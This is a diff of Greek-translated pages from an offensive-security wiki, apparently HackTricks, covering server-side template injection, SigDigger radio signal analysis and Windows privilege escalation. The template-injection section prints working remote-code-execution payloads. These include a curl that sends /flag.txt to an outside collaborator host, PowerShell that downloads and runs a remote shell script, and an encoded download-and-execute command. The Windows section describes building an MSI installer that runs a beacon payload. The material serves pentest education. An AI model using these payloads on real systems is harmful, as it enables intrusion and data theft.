Το Thymeleaf προσφέρει επίσης ροεπεξεργασία εκφράσεων_, όπου οι εκφράσεις εντός διπλών υπογραμμίσεων (`__...__`) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως αποδεικνύεται στην τεκμηρίωση του Thymeleaf:
```java
@ -184,7 +184,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Αυτό υποδηλώνει ότι αν η μηχανή προτύπων επεξεργαστεί αυτές τις εισόδους λανθασμένα, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα που αποκτά πρόσβαση σε διευθύνσεις URL όπως:
Αυτό υποδηλώνει ότι αν η μηχανή προτύπων επεξεργαστεί αυτές τις εισόδους λανθασμένα, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα που έχει πρόσβαση σε διευθύνσεις URL όπως:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -309,9 +309,9 @@ Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπ
### Hubspot - HuBL (Java)
- `{% %}` δηλωτές δηλώσεων
- `{{ }}` δηλωτές εκφράσεων
- `{# #}` δηλωτές σχολίων
- `{% %}` διαχωριστικά δηλώσεων
- `{{ }}` διαχωριστικά εκφράσεων
- `{# #}` διαχωριστικά σχολίων
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
- `{{'a'.toUpperCase()}}` - "A"
- `{{'a'.concat('b')}}` - "ab"
@ -372,9 +372,9 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στην JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
- **JavaServer Faces (JSF)**: Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο backend.
- **JavaServer Faces (JSF)**: Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες του backend.
- **JavaServer Pages (JSP)**: Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
- **Contexts and Dependency Injection for Java EE (CDI)**: Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διεπαφής και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
@ -491,14 +491,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Πρότυπο σελίδας:
Σελίδα πρότυπο:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Πρότυπο διάταξης:
Διάταξη προτύπου:
```html
<html>
<head>
@ -777,7 +777,7 @@ range.constructor(
### Python
Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με **την εκτέλεση αυθαίρετων εντολών παρακάμπτοντας τα sandboxes** στην python:
Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με **παράκαμψη εκτέλεσης αυθαίρετων εντολών σε sandbox** στην python:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -900,7 +900,7 @@ ${x}
- `@(2+2) <= Επιτυχία`
- `@() <= Επιτυχία`
- `@("{{code}}") <= Επιτυχία`
- `@ <= Επιτυχία`
- `@ <=Επιτυχία`
- `@{} <= ΣΦΑΛΜΑ!`
- `@{ <= ΣΦΑΛΜΑ!`
- `@(1+2)`
@ -908,7 +908,7 @@ ${x}
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Η μέθοδος `.NET` `System.Diagnostics.Process.Start` μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Η μέθοδος .NET `System.Diagnostics.Process.Start` μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Περισσότερες πληροφορίες**
@ -920,7 +920,7 @@ ${x}
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = Τίποτα
- `<%= response.write(date()) %>` = \<Ημερομηνία>
- `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@ -930,7 +930,7 @@ ${x}
### Mojolicious (Perl)
Ακόμα και αν είναι Perl, χρησιμοποιεί ετικέτες όπως ERB στη Ruby.
Ακόμα και αν είναι perl, χρησιμοποιεί ετικέτες όπως ERB στη Ruby.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
@ -950,13 +950,13 @@ ${x}
**XSS Exploitation**
Με το πακέτο `text/template`, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο `html/template` κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ., `{{"<script>alert(1)</script>"}}` έχει ως αποτέλεσμα `&lt;script&gt;alert(1)&lt;/script&gt;`). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Με το πακέτο `text/template`, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο `html/template` κωδικοποιεί την απόκριση για να το αποτρέψει (π.χ., `{{"<script>alert(1)</script>"}}` έχει ως αποτέλεσμα `&lt;script&gt;alert(1)&lt;/script&gt;`). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Exploitation**
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ `html/template` και `text/template`. Το module `text/template` επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο `html/template`. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη [εδώ για html/template](https://golang.org/pkg/html/template/) και [εδώ για text/template](https://golang.org/pkg/text/template/).
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ `html/template` και `text/template`. Το module `text/template` επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο `html/template`. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη [εδώ για το html/template](https://golang.org/pkg/html/template/) και [εδώ για το text/template](https://golang.org/pkg/text/template/).
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο `System` που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως `{{ .System "ls" }}`. Η πρόσβαση στον πηγαίο κώδικα είναι συνήθως απαραίτητη για να εκμεταλλευτεί αυτό, όπως στο δοθέν παράδειγμα:
```go
@ -972,11 +972,13 @@ return string(out)
### Περισσότερες Εκμεταλλεύσεις
Ελέγξτε το υπόλοιπο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με τις ετικέτες στο [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Ελέγξτε το υπόλοιπο του [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με τις ετικέτες στο [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## Σχετική Βοήθεια

View File

@ -22,23 +22,23 @@
### Χρήσεις
- Απλά για να **καταγράψετε κάποιο χρόνο ενός σήματος και να το αναλύσετε** διατηρήστε το κουμπί "Push to capture" όσο χρειάζεστε.
- Απλά για να **καταγράψετε κάποιο χρόνο ενός σήματος και να το αναλύσετε** απλώς κρατήστε πατημένο το κουμπί "Push to capture" όσο χρειάζεστε.
![](<../../images/image (960).png>)
- Ο **Τονιστής** του SigDigger βοηθά να **καταγράψετε καλύτερα σήματα** (αλλά μπορεί επίσης να τα υποβαθμίσει). Ιδανικά ξεκινήστε με 0 και συνεχίστε **να το αυξάνετε μέχρι** να βρείτε ότι ο **θόρυβος** που εισάγεται είναι **μεγαλύτερος** από την **βελτίωση του σήματος** που χρειάζεστε).
- Ο **Τυ tuner** του SigDigger βοηθά να **καταγράψετε καλύτερα σήματα** (αλλά μπορεί επίσης να τα υποβαθμίσει). Ιδανικά ξεκινήστε με 0 και συνεχίστε **να το αυξάνετε μέχρι** να βρείτε ότι ο **θόρυβος** που εισάγεται είναι **μεγαλύτερος** από τη **βελτίωση του σήματος** που χρειάζεστε).
![](<../../images/image (1099).png>)
### Συγχρονισμός με ραδιοφωνικό κανάλι
Με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)συγχρονίστε με το κανάλι που θέλετε να ακούσετε, ρυθμίστε την επιλογή "Baseband audio preview", ρυθμίστε το πλάτος ζώνης για να λάβετε όλες τις πληροφορίες που αποστέλλονται και στη συνέχεια ρυθμίστε τον Τονιστή στο επίπεδο πριν αρχίσει πραγματικά να αυξάνεται ο θόρυβος:
Με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)συγχρονίστε με το κανάλι που θέλετε να ακούσετε, ρυθμίστε την επιλογή "Baseband audio preview", ρυθμίστε το πλάτος ζώνης για να λάβετε όλες τις πληροφορίες που αποστέλλονται και στη συνέχεια ρυθμίστε τον Tuner στο επίπεδο πριν αρχίσει πραγματικά να αυξάνεται ο θόρυβος:
![](<../../images/image (585).png>)
## Ενδιαφέροντα κόλπα
- Όταν μια συσκευή στέλνει σπασμένα δεδομένα, συνήθως το **πρώτο μέρος θα είναι ένα προάγγελμα** οπότε **δεν χρειάζεται** να **ανησυχείτε** αν **δεν βρείτε πληροφορίες** εκεί **ή αν υπάρχουν κάποια σφάλματα** εκεί.
- Όταν μια συσκευή στέλνει εκρήξεις πληροφοριών, συνήθως το **πρώτο μέρος θα είναι ένα προοίμιο** οπότε **δεν χρειάζεται** να **ανησυχείτε** αν **δεν βρείτε πληροφορίες** εκεί **ή αν υπάρχουν κάποια σφάλματα** εκεί.
- Σε πλαίσια πληροφοριών συνήθως θα πρέπει να **βρείτε διαφορετικά πλαίσια καλά ευθυγραμμισμένα μεταξύ τους**:
![](<../../images/image (1076).png>)
@ -46,11 +46,11 @@
![](<../../images/image (597).png>)
- **Μετά την ανάκτηση των bits μπορεί να χρειαστεί να τα επεξεργαστείτε με κάποιο τρόπο**. Για παράδειγμα, στην κωδικοποίηση Manchester ένα up+down θα είναι 1 ή 0 και ένα down+up θα είναι το άλλο. Έτσι, ζεύγη 1s και 0s (ups και downs) θα είναι ένα πραγματικό 1 ή ένα πραγματικό 0.
- Ακόμα και αν ένα σήμα χρησιμοποιεί κωδικοποίηση Manchester (είναι αδύνατο να βρείτε περισσότερα από δύο 0s ή 1s στη σειρά), μπορεί να **βρείτε αρκετά 1s ή 0s μαζί στο προάγγελμα**!
- Ακόμα και αν ένα σήμα χρησιμοποιεί κωδικοποίηση Manchester (είναι αδύνατο να βρείτε περισσότερα από δύο 0s ή 1s στη σειρά), μπορεί να **βρείτε αρκετά 1s ή 0s μαζί στο προοίμιο**!
### Αποκάλυψη τύπου διαμόρφωσης με IQ
Υπάρχουν 3 τρόποι αποθήκευσης πληροφοριών σε σήματα: Διαμόρφωση της **αμplitude**, **συχνότητας** ή **φάσης**.\
Υπάρχουν 3 τρόποι αποθήκευσης πληροφοριών σε σήματα: Διαμορφώνοντας την **αμplitude**, **συχνότητα** ή **φάση**.\
Αν ελέγχετε ένα σήμα υπάρχουν διάφοροι τρόποι να προσπαθήσετε να καταλάβετε τι χρησιμοποιείται για την αποθήκευση πληροφοριών (βρείτε περισσότερους τρόπους παρακάτω) αλλά ένας καλός είναι να ελέγξετε το γράφημα IQ.
![](<../../images/image (788).png>)
@ -58,19 +58,21 @@
- **Ανίχνευση AM**: Αν στο γράφημα IQ εμφανίζονται για παράδειγμα **2 κύκλοι** (πιθανώς ένας στο 0 και άλλος σε διαφορετική αμplitude), αυτό θα μπορούσε να σημαίνει ότι αυτό είναι ένα σήμα AM. Αυτό συμβαίνει επειδή στο γράφημα IQ η απόσταση μεταξύ του 0 και του κύκλου είναι η αμplitude του σήματος, οπότε είναι εύκολο να οπτικοποιηθούν διαφορετικές αμplitudes που χρησιμοποιούνται.
- **Ανίχνευση PM**: Όπως στην προηγούμενη εικόνα, αν βρείτε μικρούς κύκλους που δεν σχετίζονται μεταξύ τους πιθανώς σημαίνει ότι χρησιμοποιείται φάση διαμόρφωσης. Αυτό συμβαίνει επειδή στο γράφημα IQ, η γωνία μεταξύ του σημείου και του 0,0 είναι η φάση του σήματος, οπότε αυτό σημαίνει ότι χρησιμοποιούνται 4 διαφορετικές φάσεις.
- Σημειώστε ότι αν οι πληροφορίες είναι κρυμμένες στο γεγονός ότι αλλάζει μια φάση και όχι στη φάση αυτή καθαυτή, δεν θα δείτε διαφορετικές φάσεις σαφώς διαφοροποιημένες.
- **Ανίχνευση FM**: Το IQ δεν έχει πεδίο για να προσδιορίσει συχνότητες (η απόσταση από το κέντρο είναι η αμplitude και η γωνία είναι η φάση).\
Επομένως, για να προσδιορίσετε το FM, θα πρέπει **να βλέπετε βασικά μόνο έναν κύκλο** σε αυτό το γράφημα.\
- **Ανίχνευση FM**: Το IQ δεν έχει πεδίο για να αναγνωρίσει συχνότητες (η απόσταση από το κέντρο είναι η αμplitude και η γωνία είναι η φάση).\
Επομένως, για να αναγνωρίσετε FM, θα πρέπει **να βλέπετε βασικά μόνο έναν κύκλο** σε αυτό το γράφημα.\
Επιπλέον, μια διαφορετική συχνότητα "παριστάνεται" από το γράφημα IQ με μια **ταχύτητα επιτάχυνσης γύρω από τον κύκλο** (έτσι στο SysDigger επιλέγοντας το σήμα το γράφημα IQ γεμίζει, αν βρείτε μια επιτάχυνση ή αλλαγή κατεύθυνσης στον δημιουργημένο κύκλο αυτό θα μπορούσε να σημαίνει ότι αυτό είναι FM):
## Παράδειγμα AM
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Αποκάλυψη AM
#### Έλεγχος του περιγράμματος
Έλεγχος πληροφοριών AM με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)και απλά κοιτάζοντας το **περίγραμμα** μπορείτε να δείτε διαφορετικά καθαρά επίπεδα αμplitude. Το χρησιμοποιούμενο σήμα στέλνει παλμούς με πληροφορίες σε AM, έτσι φαίνεται ένας παλμός:
Έλεγχος πληροφοριών AM με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)και απλώς κοιτάζοντας το **περίγραμμα** μπορείτε να δείτε διαφορετικά καθαρά επίπεδα αμplitude. Το χρησιμοποιούμενο σήμα στέλνει παλμούς με πληροφορίες σε AM, έτσι φαίνεται ένας παλμός:
![](<../../images/image (590).png>)
@ -84,11 +86,11 @@
![](<../../images/image (264).png>)
Για παράδειγμα, αν επιλέξετε τη Συχνότητα αντί της Αμplitude σε αυτό το σήμα AM θα βρείτε μόνο 1 συχνότητα (δεν υπάρχει τρόπος οι πληροφορίες που διαμορφώνονται σε συχνότητα να χρησιμοποιούν μόνο 1 συχνότητα).
Για παράδειγμα, αν επιλέξετε τη Συχνότητα αντί της Αμplitude σε αυτό το σήμα AM θα βρείτε μόνο 1 συχνότητα (δεν υπάρχει τρόπος πληροφορίες που διαμορφώνονται σε συχνότητα να χρησιμοποιούν μόνο 1 συχνότητα).
![](<../../images/image (732).png>)
Αν βρείτε πολλές συχνότητες πιθανώς αυτό δεν θα είναι FM, πιθανώς η συχνότητα του σήματος έχει απλώς τροποποιηθεί λόγω του καναλιού.
Αν βρείτε πολλές συχνότητες πιθανώς αυτό δεν θα είναι FM, πιθανώς η συχνότητα του σήματος απλώς τροποποιήθηκε λόγω του καναλιού.
#### Με IQ
@ -112,12 +114,12 @@
### Λάβετε Bits
Αφού διαπιστώσετε ότι αυτό είναι ένα **AM διαμορφωμένο** σήμα και ο **ρυθμός συμβόλων** (και γνωρίζοντας ότι σε αυτή την περίπτωση κάτι up σημαίνει 1 και κάτι down σημαίνει 0), είναι πολύ εύκολο να **αποκτήσετε τα bits** που κωδικοποιούνται στο σήμα. Έτσι, επιλέξτε το σήμα με πληροφορίες και ρυθμίστε τη δειγματοληψία και την απόφαση και πατήστε δείγμα (ελέγξτε ότι **Αμplitude** είναι επιλεγμένο, ο ανακαλυφθείς **Ρυθμός Συμβόλων** είναι ρυθμισμένος και η **Ανάκτηση Ρολογιού Gadner** είναι επιλεγμένη):
Αφού βρείτε ότι αυτό είναι ένα **AM διαμορφωμένο** σήμα και ο **ρυθμός συμβόλων** (και γνωρίζοντας ότι σε αυτή την περίπτωση κάτι up σημαίνει 1 και κάτι down σημαίνει 0), είναι πολύ εύκολο να **αποκτήσετε τα bits** που κωδικοποιούνται στο σήμα. Έτσι, επιλέξτε το σήμα με πληροφορίες και ρυθμίστε τη δειγματοληψία και την απόφαση και πατήστε δείγμα (ελέγξτε ότι **Αμplitude** είναι επιλεγμένο, ο ανακαλυφθείς **Ρυθμός Συμβόλων** είναι ρυθμισμένος και η **Ανάκτηση Ρολογιού Gadner** είναι επιλεγμένη):
![](<../../images/image (965).png>)
- **Συγχρονισμός με τις επιλεγμένες περιόδους** σημαίνει ότι αν προηγουμένως επιλέξατε περιόδους για να βρείτε τον ρυθμό συμβόλων, αυτός ο ρυθμός συμβόλων θα χρησιμοποιηθεί.
- **Χειροκίνητα** σημαίνει ότι ο υποδεικνυόμενος ρυθμός συμβόλων θα χρησιμοποιηθεί
- **Συγχρονισμός με επιλεγμένα διαστήματα** σημαίνει ότι αν προηγουμένως επιλέξατε διαστήματα για να βρείτε τον ρυθμό συμβόλων, αυτός ο ρυθμός συμβόλων θα χρησιμοποιηθεί.
- **Χειροκίνητο** σημαίνει ότι ο υποδεικνυόμενος ρυθμός συμβόλων θα χρησιμοποιηθεί
- Στην **Επιλογή σταθερού διαστήματος** υποδεικνύετε τον αριθμό των διαστημάτων που πρέπει να επιλεγούν και υπολογίζει τον ρυθμό συμβόλων από αυτό
- **Ανάκτηση Ρολογιού Gadner** είναι συνήθως η καλύτερη επιλογή, αλλά πρέπει ακόμα να υποδείξετε κάποιο περίπου ρυθμό συμβόλων.
@ -125,7 +127,7 @@
![](<../../images/image (644).png>)
Τώρα, για να κάνει το SigDigger να καταλάβει **πού είναι το εύρος** του επιπέδου που μεταφέρει πληροφορίες πρέπει να κάνετε κλικ στο **χαμηλότερο επίπεδο** και να διατηρήσετε πατημένο μέχρι το μεγαλύτερο επίπεδο:
Τώρα, για να κάνει το SigDigger να καταλάβει **πού είναι το εύρος** του επιπέδου που μεταφέρει πληροφορίες πρέπει να κάνετε κλικ στο **χαμηλότερο επίπεδο** και να κρατήσετε πατημένο μέχρι το μεγαλύτερο επίπεδο:
![](<../../images/image (439).png>)
@ -141,7 +143,9 @@
## Παράδειγμα FM
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Αποκάλυψη FM
@ -181,8 +185,8 @@
#### Με IQ
Το IQ δεν έχει πεδίο για να προσδιορίσει συχνότητες (η απόσταση από το κέντρο είναι η αμplitude και η γωνία είναι η φάση).\
Επομένως, για να προσδιορίσετε το FM, θα πρέπει **να βλέπετε βασικά μόνο έναν κύκλο** σε αυτό το γράφημα.\
Το IQ δεν έχει πεδίο για να αναγνωρίσει συχνότητες (η απόσταση από το κέντρο είναι η αμplitude και η γωνία είναι η φάση).\
Επομένως, για να αναγνωρίσετε FM, θα πρέπει **να βλέπετε βασικά μόνο έναν κύκλο** σε αυτό το γράφημα.\
Επιπλέον, μια διαφορετική συχνότητα "παριστάνεται" από το γράφημα IQ με μια **ταχύτητα επιτάχυνσης γύρω από τον κύκλο** (έτσι στο SysDigger επιλέγοντας το σήμα το γράφημα IQ γεμίζει, αν βρείτε μια επιτάχυνση ή αλλαγή κατεύθυνσης στον δημιουργημένο κύκλο αυτό θα μπορούσε να σημαίνει ότι αυτό είναι FM):
![](<../../images/image (81).png>)

View File

@ -42,7 +42,7 @@ integrity-levels.md
### Καταμέτρηση πληροφοριών έκδοσης
Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τα patches που έχουν εφαρμοστεί).
Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις εφαρμοσμένες ενημερώσεις).
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα εκτενές ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων τη στιγμή της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία.
Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα εκτενές ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων κατά τη διάρκεια της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
Η καταγραφή γεγονότων για το Script Block μπορεί να εντοπιστεί μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
Τα γεγονότα καταγραφής για το Script Block μπορούν να εντοπιστούν μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
Για να δείτε τα τελευταία 20 γεγονότα μπορείτε να χρησιμοποιήσετε:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
Μπορείτε να παραβιάσετε το σύστημα αν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας http**S** αλλά http.
Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μια μη-SSL ενημέρωση WSUS εκτελώντας το εξής:
Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μια μη SSL ενημέρωση WSUS εκτελώντας το εξής:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
@ -167,11 +167,13 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε, η καταχώρηση WSUS θα αγνοηθεί.
Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία.
Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία.
Διαβάστε την έρευνα εδώ:
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
{{#file}}
CTX_WSUSpect_White_Paper (1).pdf
{{#endfile}}
**WSUS CVE-2020-1013**
@ -216,7 +218,7 @@ Write-UserAddMSI
### MSI Wrapper
Διαβάστε αυτό το tutorial για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**.
Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**.
{{#ref}}
msi-wrapper.md
@ -238,7 +240,7 @@ create-msi-with-wix.md
- Υπάρχουν άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως ο **Συγγραφέας** και ο **Κατασκευαστής** που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη.
- Κάντε δεξί κλικ στο έργο και επιλέξτε **Προβολή > Προσαρμοσμένες Ενέργειες**.
- Κάντε δεξί κλικ στο **Εγκατάσταση** και επιλέξτε **Προσθήκη Προσαρμοσμένης Ενέργειας**.
- Κάντε διπλό κλικ στο **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload θα εκτελείται μόλις εκτελείται ο εγκαταστάτης.
